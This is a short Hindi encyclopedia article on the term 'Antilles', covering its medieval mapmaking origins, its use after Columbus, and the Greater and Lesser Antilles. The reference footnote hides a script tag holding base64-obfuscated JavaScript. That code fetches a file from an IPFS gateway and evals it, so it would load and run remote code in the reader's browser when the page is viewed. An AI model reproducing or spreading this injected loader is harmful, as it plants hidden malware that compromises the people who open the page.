ऐंटिलीस

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

ऐंटिलीस एक विवादग्रस्त शब्द है, जो बहुत से विद्वानों तथा लेखकों द्वारा 'पश्चिमी द्वीपसमूह' के लिए प्रयुक्त हुआ है। इसका संबंध यूरोपीय सामुद्रिकों द्वारा नए देशों की खोज के समय से चला आ रहा है। उस समय यह नाम एक प्रकार से कल्पित भूखंडों से संबंधित था और मध्ययुगीन मानचित्रों में इसका प्रयोग प्रायद्वीपों तथा कभी कभी उन भूखंडों के लिए भी होता था, जिनकी कल्पना कानेयरीज़ द्वीप तथा भारतवर्ष के मध्य समुद्र में की जाती थी। कोलंबस द्वारा पश्चिमी द्वीपसमूह का पता लगा लिए जाने पर इन द्वीपों के लिए इस शब्द का प्रयोग किया गया। उस समय उन लोगों का विचार था कि यह द्वीपपुंज असंख्य द्वीपों से भरा है। ऐंटिलिया ऐंटिलीस का बहुवचन है जो इन द्वीपों के लिए प्रयुक्त किया गया। ऐंटिलीस दो प्रकार के हैं : प्रथम, बड़ा ऐंटिलीस जिसमें क्यूबा, जमेका, हेती-सान, डोमिंगो तथा पोर्टो रिको आते हैं; और द्वितीय, लघु ऐंटिलीस, जिसमें अन्य सब बचे हुए द्वीप आते हैं।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 266 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख